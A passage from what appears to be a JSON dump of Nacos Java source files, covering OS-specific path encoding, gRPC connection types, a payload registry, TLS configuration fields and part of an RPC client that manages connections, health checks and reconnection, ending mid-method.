    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.pathencoder;\n\n/**\n * To encode path if illegal,an os may have a PathEncoder.\n *\n * @author daydreamer-ia\n */\npublic interface PathEncoder {\n\n    /**\n     * encode path.\n     *\n     * @param str origin\n     * @param charset charset\n     * @return new path\n     */\n    String encode(String str, String charset);\n\n    /**\n     * decode path.\n     *\n     * @param str new path\n     * @param charset charset\n     * @return origin path\n     */\n    String decode(String str, String charset);\n\n    /**\n     * return simple lowercase os name.\n     *\n     * @return simple lowercase os name\n     */\n    String name();\n\n    /**\n     * whether to encode.\n     *\n     * @param key key\n     * @return whether to encode.\n     */\n    boolean needEncode(String key);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/pathencoder/PathEncoderManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.pathencoder;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\n\nimport java.nio.charset.Charset;\nimport java.util.Collection;\n\n/**\n * To expose interface from {@link PathEncoder}.\n *\n * @author daydreamer-ia\n */\npublic class PathEncoderManager {\n\n    /**\n     * singleton.\n     */\n    private static final PathEncoderManager INSTANCE = new PathEncoderManager();\n\n    /**\n     * encoder.\n     */\n    private PathEncoder targetEncoder = null;\n\n    private PathEncoderManager() {\n        // load path encoder\n        Collection<PathEncoder> load = NacosServiceLoader.load(PathEncoder.class);\n        if (!load.isEmpty()) {\n            String currentOs = System.getProperty(\"os.name\").toLowerCase();\n            for (PathEncoder pathEncoder : load) {\n                // match first\n                if (currentOs.contains(pathEncoder.name())) {\n                    targetEncoder = pathEncoder;\n                    break;\n                }\n            }\n        }\n    }\n\n    /**\n     * encode path if necessary.\n     *\n     * @param path    origin path\n     * @param charset charset of origin path\n     * @return encoded path\n     */\n    public String encode(String path, String charset) {\n        if (path == null || charset == null) {\n            return path;\n        }\n        if (targetEncoder != null && targetEncoder.needEncode(path)) {\n            return targetEncoder.encode(path, charset);\n        }\n        return path;\n    }\n\n    /**\n     * encode path if necessary.\n     *\n     * @param path origin path\n     * @return encoded path\n     */\n    public String encode(String path) {\n        return encode(path, Charset.defaultCharset().name());\n    }\n\n    /**\n     * decode path.\n     *\n     * @param path    encoded path\n     * @param charset charset of encoded path\n     * @return origin path\n     */\n    public String decode(String path, String charset) {\n        if (path == null || charset == null) {\n            return path;\n        }\n        if (targetEncoder != null) {\n            return targetEncoder.decode(path, charset);\n        }\n        return path;\n    }\n\n    /**\n     * decode path.\n     *\n     * @param path encoded path\n     * @return origin path\n     */\n    public String decode(String path) {\n        return decode(path, Charset.defaultCharset().name());\n    }\n\n    /**\n     * get singleton.\n     *\n     * @return singleton.\n     */\n    public static PathEncoderManager getInstance() {\n        return INSTANCE;\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/pathencoder/impl/WindowsEncoder.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.pathencoder.impl;\n\nimport com.alibaba.nacos.common.pathencoder.PathEncoder;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Pattern;\n\n/**\n * Encode path if illegal char reach in Windows.\n *\n * @author daydreamer-ia\n */\npublic class WindowsEncoder implements PathEncoder {\n\n    /**\n     * 不应该含有 / : ? \" < > | \\.\n     */\n    private static final String PATTERN_EXP = \"[^/:*?\\\"<>|\\\\\\\\]+\";\n\n    private static final Map<String, String> REG_MAPPING = new HashMap<>();\n\n    private static final Map<String, String> CHAR_MAPPING = new HashMap<>();\n\n    private static final Pattern PATTERN = Pattern.compile(PATTERN_EXP);\n\n    static {\n        // reg\n        REG_MAPPING.put(\"\\\\\\\\\", \"%A1%\");\n        REG_MAPPING.put(\"/\", \"%A2%\");\n        REG_MAPPING.put(\":\", \"%A3%\");\n        REG_MAPPING.put(\"\\\\*\", \"%A4%\");\n        REG_MAPPING.put(\"\\\\?\", \"%A5%\");\n        REG_MAPPING.put(\"\\\"\", \"%A6%\");\n        REG_MAPPING.put(\"<\", \"%A7%\");\n        REG_MAPPING.put(\">\", \"%A8%\");\n        REG_MAPPING.put(\"\\\\|\", \"%A9%\");\n\n        // char\n        CHAR_MAPPING.put(\"%A1%\", \"\\\\\\\\\");\n        CHAR_MAPPING.put(\"%A2%\", \"/\");\n        CHAR_MAPPING.put(\"%A3%\", \":\");\n        CHAR_MAPPING.put(\"%A4%\", \"*\");\n        CHAR_MAPPING.put(\"%A5%\", \"?\");\n        CHAR_MAPPING.put(\"%A6%\", \"\\\"\");\n        CHAR_MAPPING.put(\"%A7%\", \"<\");\n        CHAR_MAPPING.put(\"%A8%\", \">\");\n        CHAR_MAPPING.put(\"%A9%\", \"|\");\n    }\n\n    @Override\n    public String encode(String str, String charset) {\n        for (Map.Entry<String, String> entry : REG_MAPPING.entrySet()) {\n            str = str.replaceAll(entry.getKey(), entry.getValue());\n        }\n        return str;\n    }\n\n    @Override\n    public String decode(String str, String charset) {\n        for (Map.Entry<String, String> entry : CHAR_MAPPING.entrySet()) {\n            str = str.replaceAll(entry.getKey(), entry.getValue());\n        }\n        return str;\n    }\n\n    @Override\n    public String name() {\n        return \"window\";\n    }\n\n    @Override\n    public boolean needEncode(String key) {\n        if (key == null) {\n            return false;\n        }\n        return !PATTERN.matcher(key).matches();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/ConnectionType.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\n/**\n * ConnectionType.\n *\n * @author liuzunfei\n * @version $Id: ConnectionType.java, v 0.1 2020年07月13日 7:15 PM liuzunfei Exp $\n */\npublic enum ConnectionType {\n    \n    /**\n     * gRPC connection.\n     */\n    GRPC(\"GRPC\", \"Grpc Connection\");\n    \n    final String type;\n    \n    final String name;\n    \n    public static ConnectionType getByType(String type) {\n        ConnectionType[] values = ConnectionType.values();\n        for (ConnectionType connectionType : values) {\n            if (connectionType.getType().equals(type)) {\n                return connectionType;\n            }\n        }\n        return null;\n    }\n    \n    ConnectionType(String type, String name) {\n        this.type = type;\n        this.name = name;\n    }\n    \n    /**\n     * Getter method for property <tt>type</tt>.\n     *\n     * @return property value of type\n     */\n    public String getType() {\n        return type;\n    }\n    \n    /**\n     * Getter method for property <tt>name</tt>.\n     *\n     * @return property value of name\n     */\n    public String getName() {\n        return name;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/PayloadRegistry.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\nimport com.alibaba.nacos.api.remote.Payload;\n\nimport java.lang.reflect.Modifier;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.ServiceLoader;\n\n/**\n * payload registry,Define basic scan behavior request and response.\n *\n * @author liuzunfei\n * @author hujun\n * @version $Id: PayloadRegistry.java, v 0.1 2020年09月01日 10:56 AM liuzunfei Exp $\n */\n\npublic class PayloadRegistry {\n    \n    private static final Map<String, Class<?>> REGISTRY_REQUEST = new HashMap<>();\n    \n    static boolean initialized = false;\n    \n    public static void init() {\n        scan();\n    }\n    \n    private static synchronized void scan() {\n        if (initialized) {\n            return;\n        }\n        ServiceLoader<Payload> payloads = ServiceLoader.load(Payload.class);\n        for (Payload payload : payloads) {\n            register(payload.getClass().getSimpleName(), payload.getClass());\n        }\n        initialized = true;\n    }\n    \n    static void register(String type, Class<?> clazz) {\n        if (Modifier.isAbstract(clazz.getModifiers())) {\n            return;\n        }\n        if (REGISTRY_REQUEST.containsKey(type)) {\n            throw new RuntimeException(String.format(\"Fail to register, type: %s, clazz: %s\", type, clazz.getName()));\n        }\n        REGISTRY_REQUEST.put(type, clazz);\n    }\n    \n    public static Class<?> getClassByType(String type) {\n        return REGISTRY_REQUEST.get(type);\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/TlsConfig.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\n/**\n * gRPC config.\n *\n * @author githubcheng2978\n */\npublic class TlsConfig {\n    /**\n     * ssl provider,default OPENSSL,JDK,OPENSSL_REFCNT.\n     */\n    private String sslProvider = \"\";\n\n    /**\n     * enable tls.\n     */\n    private Boolean enableTls = false;\n\n    /**\n     * tls version: TLSv1.1,TLSv1.2,TLSv1.3\n     * if want to support multi protocol, use comma  seperated. like TLSv1.1,TLSv1.2,TLSv1.3\n     */\n    private String protocols;\n\n    /**\n     * cipherList,  same of usage protocols.\n     */\n    private String ciphers;\n\n    /**\n     * private key.\n     */\n    private String certPrivateKey;\n\n    /**\n     * certificate file.\n     */\n    private String certChainFile;\n\n    /**\n     * read certPrivateKey file when need password.\n     */\n    private String certPrivateKeyPassword;\n\n    /**\n     * mutualAuth,if true,need provider certPrivateKey and certChainFile.\n     */\n    private Boolean mutualAuthEnable = false;\n\n    /**\n     * ignore certificate valid.\n     */\n    private Boolean trustAll = false;\n\n    /**\n     * collection of trust certificate file.\n     */\n    private String trustCollectionCertFile;\n\n    public Boolean getEnableTls() {\n        return enableTls;\n    }\n\n    public void setEnableTls(Boolean enableTls) {\n        this.enableTls = enableTls;\n    }\n\n    public Boolean getMutualAuthEnable() {\n        return mutualAuthEnable;\n    }\n\n    public void setMutualAuthEnable(Boolean mutualAuthEnable) {\n        this.mutualAuthEnable = mutualAuthEnable;\n    }\n\n    public String getProtocols() {\n        return protocols;\n    }\n\n    public void setProtocols(String protocols) {\n        this.protocols = protocols;\n    }\n\n    public Boolean getTrustAll() {\n        return trustAll;\n    }\n\n    public void setTrustAll(Boolean trustAll) {\n        this.trustAll = trustAll;\n    }\n\n    public String getCiphers() {\n        return ciphers;\n    }\n\n    public void setCiphers(String ciphers) {\n        this.ciphers = ciphers;\n    }\n\n    public String getTrustCollectionCertFile() {\n        return trustCollectionCertFile;\n    }\n\n    public void setTrustCollectionCertFile(String trustCollectionCertFile) {\n        this.trustCollectionCertFile = trustCollectionCertFile;\n    }\n\n    public String getCertPrivateKeyPassword() {\n        return certPrivateKeyPassword;\n    }\n\n    public void setCertPrivateKeyPassword(String certPrivateKeyPassword) {\n        this.certPrivateKeyPassword = certPrivateKeyPassword;\n    }\n\n    public String getCertPrivateKey() {\n        return certPrivateKey;\n    }\n\n    public void setCertPrivateKey(String certPrivateKey) {\n        this.certPrivateKey = certPrivateKey;\n    }\n\n    public String getCertChainFile() {\n        return certChainFile;\n    }\n\n    public void setCertChainFile(String certChainFile) {\n        this.certChainFile = certChainFile;\n    }\n\n    public String getSslProvider() {\n        return sslProvider;\n    }\n\n    public void setSslProvider(String sslProvider) {\n        this.sslProvider = sslProvider;\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/Connection.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.remote.Requester;\n\nimport java.util.Map;\n\n/**\n * connection on client side.\n *\n * @author liuzunfei\n * @version $Id: Connection.java, v 0.1 2020年08月09日 1:32 PM liuzunfei Exp $\n */\npublic abstract class Connection implements Requester {\n    \n    private String connectionId;\n    \n    private boolean abandon = false;\n    \n    protected RpcClient.ServerInfo serverInfo;\n    \n    protected Map<String, Boolean> abilityTable;\n    \n    public Connection(RpcClient.ServerInfo serverInfo) {\n        this.serverInfo = serverInfo;\n    }\n    \n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n    \n    public AbilityStatus getConnectionAbility(AbilityKey abilityKey) {\n        if (abilityTable == null || !abilityTable.containsKey(abilityKey.getName())) {\n            return AbilityStatus.UNKNOWN;\n        }\n        return  abilityTable.get(abilityKey.getName()) ? AbilityStatus.SUPPORTED : AbilityStatus.NOT_SUPPORTED;\n    }\n\n    public boolean isAbilitiesSet() {\n        return abilityTable != null;\n    }\n    \n    public void setAbilityTable(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n    \n    /**\n     * Getter method for property <tt>abandon</tt>.\n     *\n     * @return property value of abandon\n     */\n    public boolean isAbandon() {\n        return abandon;\n    }\n    \n    /**\n     * Setter method for property <tt>abandon</tt>. connection event will be ignored if connection is abandoned.\n     *\n     * @param abandon value to be assigned to property abandon\n     */\n    public void setAbandon(boolean abandon) {\n        this.abandon = abandon;\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/ConnectionEventListener.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\n/**\n * connection event listener of client side.\n * @author liuzunfei\n * @version $Id: ConnectionEventListener.java, v 0.1 2020年07月14日 10:59 AM liuzunfei Exp $\n */\npublic interface ConnectionEventListener {\n    \n    /**\n     * notify when  connected to server.\n     *\n     * @param connection connection has connected\n     */\n    void onConnected(Connection connection);\n\n    /**\n     * notify when  disconnected to server.\n     *\n     * @param connection connection has disconnected\n     */\n    void onDisConnect(Connection connection);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/remote/client/RpcClient.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.ClientDetectionRequest;\nimport com.alibaba.nacos.api.remote.request.ConnectResetRequest;\nimport com.alibaba.nacos.api.remote.request.HealthCheckRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ClientDetectionResponse;\nimport com.alibaba.nacos.api.remote.response.ConnectResetResponse;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.packagescan.resource.DefaultResourceLoader;\nimport com.alibaba.nacos.common.packagescan.resource.ResourceLoader;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.PayloadRegistry;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.LoggerUtils;\nimport com.alibaba.nacos.common.utils.NumberUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicReference;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport static com.alibaba.nacos.api.exception.NacosException.SERVER_ERROR;\n\n/**\n * abstract remote client to connect to server.\n *\n * @author liuzunfei\n * @version $Id: RpcClient.java, v 0.1 2020年07月13日 9:15 PM liuzunfei Exp $\n */\npublic abstract class RpcClient implements Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(\"com.alibaba.nacos.common.remote.client\");\n    \n    private ServerListFactory serverListFactory;\n    \n    protected BlockingQueue<ConnectionEvent> eventLinkedBlockingQueue = new LinkedBlockingQueue<>();\n    \n    protected volatile AtomicReference<RpcClientStatus> rpcClientStatus = new AtomicReference<>(\n            RpcClientStatus.WAIT_INIT);\n    \n    protected ScheduledExecutorService clientEventExecutor;\n    \n    private final BlockingQueue<ReconnectContext> reconnectionSignal = new ArrayBlockingQueue<>(1);\n    \n    protected volatile Connection currentConnection;\n    \n    private String tenant;\n    \n    private long lastActiveTimeStamp = System.currentTimeMillis();\n    \n    /**\n     * listener called where connection's status changed.\n     */\n    protected List<ConnectionEventListener> connectionEventListeners = new ArrayList<>();\n    \n    /**\n     * handlers to process server push request.\n     */\n    protected List<ServerRequestHandler> serverRequestHandlers = new ArrayList<>();\n    \n    private static final Pattern EXCLUDE_PROTOCOL_PATTERN = Pattern.compile(\"(?<=\\\\w{1,5}://)(.*)\");\n    \n    protected RpcClientConfig rpcClientConfig;\n    \n    protected final ResourceLoader resourceLoader = new DefaultResourceLoader();\n    \n    static {\n        PayloadRegistry.init();\n    }\n    \n    public RpcClient(RpcClientConfig rpcClientConfig) {\n        this(rpcClientConfig, null);\n    }\n    \n    public RpcClient(RpcClientConfig rpcClientConfig, ServerListFactory serverListFactory) {\n        this.rpcClientConfig = rpcClientConfig;\n        this.serverListFactory = serverListFactory;\n        init();\n    }\n    \n    protected void init() {\n        if (this.serverListFactory != null) {\n            rpcClientStatus.compareAndSet(RpcClientStatus.WAIT_INIT, RpcClientStatus.INITIALIZED);\n            LoggerUtils.printIfInfoEnabled(LOGGER, \"RpcClient init in constructor, ServerListFactory = {}\",\n                    serverListFactory.getClass().getName());\n        }\n    }\n    \n    /**\n     * init server list factory. only can init once.\n     *\n     * @param serverListFactory serverListFactory\n     */\n    public RpcClient serverListFactory(ServerListFactory serverListFactory) {\n        if (!isWaitInitiated()) {\n            return this;\n        }\n        this.serverListFactory = serverListFactory;\n        rpcClientStatus.compareAndSet(RpcClientStatus.WAIT_INIT, RpcClientStatus.INITIALIZED);\n        \n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] RpcClient init, ServerListFactory = {}\", rpcClientConfig.name(),\n                serverListFactory.getClass().getName());\n        return this;\n    }\n    \n    /**\n     * Notify when client disconnected.\n     *\n     * @param connection connection has disconnected\n     */\n    protected void notifyDisConnected(Connection connection) {\n        if (connectionEventListeners.isEmpty()) {\n            return;\n        }\n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Notify disconnected event to listeners\", rpcClientConfig.name());\n        for (ConnectionEventListener connectionEventListener : connectionEventListeners) {\n            try {\n                connectionEventListener.onDisConnect(connection);\n            } catch (Throwable throwable) {\n                LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}] Notify disconnect listener error, listener = {}\",\n                        rpcClientConfig.name(), connectionEventListener.getClass().getName());\n            }\n        }\n    }\n    \n    /**\n     * Notify when client new connected.\n     *\n     * @param connection connection has connected\n     */\n    protected void notifyConnected(Connection connection) {\n        if (connectionEventListeners.isEmpty()) {\n            return;\n        }\n        LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Notify connected event to listeners.\", rpcClientConfig.name());\n        for (ConnectionEventListener connectionEventListener : connectionEventListeners) {\n            try {\n                connectionEventListener.onConnected(connection);\n            } catch (Throwable throwable) {\n                LoggerUtils.printIfErrorEnabled(LOGGER, \"[{}] Notify connect listener error, listener = {}\",\n                        rpcClientConfig.name(), connectionEventListener.getClass().getName());\n            }\n        }\n    }\n    \n    /**\n     * check is this client is initiated.\n     *\n     * @return is wait initiated or not.\n     */\n    public boolean isWaitInitiated() {\n        return this.rpcClientStatus.get() == RpcClientStatus.WAIT_INIT;\n    }\n    \n    /**\n     * check is this client is running.\n     *\n     * @return is running or not.\n     */\n    public boolean isRunning() {\n        return this.rpcClientStatus.get() == RpcClientStatus.RUNNING;\n    }\n    \n    /**\n     * check is this client is shutdown.\n     *\n     * @return is shutdown or not.\n     */\n    public boolean isShutdown() {\n        return this.rpcClientStatus.get() == RpcClientStatus.SHUTDOWN;\n    }\n    \n    /**\n     * check if current connected server is in server list, if not switch server.\n     */\n    public void onServerListChange() {\n        if (currentConnection != null && currentConnection.serverInfo != null) {\n            ServerInfo serverInfo = currentConnection.serverInfo;\n            boolean found = false;\n            for (String serverAddress : serverListFactory.getServerList()) {\n                if (resolveServerInfo(serverAddress).getAddress().equalsIgnoreCase(serverInfo.getAddress())) {\n                    found = true;\n                    break;\n                }\n            }\n            if (!found) {\n                LoggerUtils.printIfInfoEnabled(LOGGER,\n                        \"Current connected server {} is not in latest server list, switch switchServerAsync\",\n                        serverInfo.getAddress());\n                switchServerAsync();\n            }\n            \n        }\n    }\n    \n    /**\n     * Start this client.\n     */\n    public final void start() throws NacosException {\n        \n        boolean success = rpcClientStatus.compareAndSet(RpcClientStatus.INITIALIZED, RpcClientStatus.STARTING);\n        if (!success) {\n            return;\n        }\n        \n        clientEventExecutor = new ScheduledThreadPoolExecutor(2,\n                new NameThreadFactory(\"com.alibaba.nacos.client.remote.worker\"));\n        \n        // connection event consumer.\n        clientEventExecutor.submit(() -> {\n            while (!clientEventExecutor.isTerminated() && !clientEventExecutor.isShutdown()) {\n                ConnectionEvent take;\n                try {\n                    take = eventLinkedBlockingQueue.take();\n                    if (take.isConnected()) {\n                        notifyConnected(take.connection);\n                    } else if (take.isDisConnected()) {\n                        notifyDisConnected(take.connection);\n                    }\n                } catch (Throwable e) {\n                    // Do nothing\n                }\n            }\n        });\n        \n        clientEventExecutor.submit(() -> {\n            while (true) {\n                try {\n                    if (isShutdown()) {\n                        break;\n                    }\n                    ReconnectContext reconnectContext = reconnectionSignal\n                            .poll(rpcClientConfig.connectionKeepAlive(), TimeUnit.MILLISECONDS);\n                    if (reconnectContext == null) {\n                        // check alive time.\n                        if (System.currentTimeMillis() - lastActiveTimeStamp >= rpcClientConfig.connectionKeepAlive()) {\n                            boolean isHealthy = healthCheck();\n                            if (!isHealthy) {\n                                if (currentConnection == null) {\n                                    continue;\n                                }\n                                LoggerUtils.printIfInfoEnabled(LOGGER,\n                                        \"[{}] Server healthy check fail, currentConnection = {}\",\n                                        rpcClientConfig.name(), currentConnection.getConnectionId());\n                                \n                                RpcClientStatus rpcClientStatus = RpcClient.this.rpcClientStatus.get();\n                                if (RpcClientStatus.SHUTDOWN.equals(rpcClientStatus)) {\n                                    break;\n                                }\n                                \n                                boolean statusFlowSuccess = RpcClient.this.rpcClientStatus\n                                        .compareAndSet(rpcClientStatus, RpcClientStatus.UNHEALTHY);\n                                if (statusFlowSuccess) {\n                                    reconnectContext = new ReconnectContext(null, false);\n                                } else {\n                                    continue;\n                                }\n                                \n                            } else {\n                                lastActiveTimeStamp = System.currentTimeMillis();\n                                continue;\n                            }\n                        } else {\n                            continue;\n                        }\n                        \n                    }\n                    \n                    if (reconnectContext.serverInfo != null) {\n                        // clear recommend server if server is not in server list.\n                        boolean serverExist = false;\n                        for (String server : getServerListFactory().getServerList()) {\n                            ServerInfo serverInfo = resolveServerInfo(server);\n                            if (serverInfo.getServerIp().equals(reconnectContext.serverInfo.getServerIp())) {\n                                serverExist = true;\n                                reconnectContext.serverInfo.serverPort = serverInfo.serverPort;\n                                break;\n                            }\n                        }\n                        if (!serverExist) {\n                            LoggerUtils.printIfInfoEnabled(LOGGER,\n                                    \"[{}] Recommend server is not in server list, ignore recommend server {}\",\n                                    rpcClientConfig.name(), reconnectContext.serverInfo.getAddress());\n                            \n                            reconnectContext.serverInfo = null;\n                            \n                        }\n                    }\n                    reconnect(reconnectContext.serverInfo, reconnectContext.onRequestFail);\n                } catch (Throwable throwable) {\n                    // Do nothing\n                }\n            }\n        });\n        \n        // connect to server, try to connect to server sync retryTimes times, async starting if failed.\n        Connection connectToServer = null;\n        rpcClientStatus.set(RpcClientStatus.STARTING);\n        \n        int startUpRetryTimes = rpcClientConfig.retryTimes();\n        while (startUpRetryTimes >= 0 && connectToServer == null) {\n            try {\n                startUpRetryTimes--;\n                ServerInfo serverInfo = nextRpcServer();\n                \n                LoggerUtils.printIfInfoEnabled(LOGGER, \"[{}] Try to connect to server on start up, server: {}\",\n                        rpcClientConfig.name(), serverInfo);\n                \n                connectToServer = connectToServer(serverInfo);\n            } catch (Throwable e) {\n                LoggerUtils.printIfWarnEnabled(LOGGER,\n                        \"[{}] Fail to connect to server on start up, error message = {}, start up retry times left: {}\",\n                        rpcClientConfig.name(), e.getMessage(), startUpRetryTimes, e);\n            }\n            \n        }\n        \n        if (connectToServer != null) {\n            LoggerUtils\n                    .printIfInfoEnabled(LOGGER, \"[{}] Success to connect to server [{}] on start up, connectionId = {}\",\n                            rpcClientConfig.name(), connectToServer.serverInfo.getAddress(),\n                            connectToServer.getConnectionId());\n            this.currentConnection = connectToServer;\n            rpcClientStatus.set(RpcClientStatus.RUNNING);\n            eventLinkedBlockingQueue.offer(new ConnectionEvent(ConnectionEvent.CONNECTED, currentConnection));\n        } else {\n            switchServerAsync();\n        }\n        \n        registerServerRequestHandler(new ConnectResetRequestHandler());\n        \n        // register client detection request.\n        registerServerRequestHandler((request, connection) -> {\n            if (request instanceof ClientDetectionRequest) {\n                return new ClientDetectionResponse();\n            }\n            \n            return null;\n        });\n        \n    }\n    \n    class ConnectResetRequestHandler implements ServerRequestHandler {\n        \n        @Override\n        public Response requestReply(Request request, Connection connection) {\n            \n            if (request instanceof ConnectResetRequest) {\n                \n                try {\n                    synchronized (RpcClient.this) {\n                        if (isRunning()) {\n                            ConnectResetRequest connectResetRequest = (ConnectResetRequest) request;\n                            if (StringUtils.isNotBlank(connectResetRequest.getServerIp())) {\n                                ServerInfo serverInfo = resolveServerInfo(\n                                        connectResetRequest.getServerIp() + Constants.COLON + connectResetRequest\n                                                .getServerPort());\n                  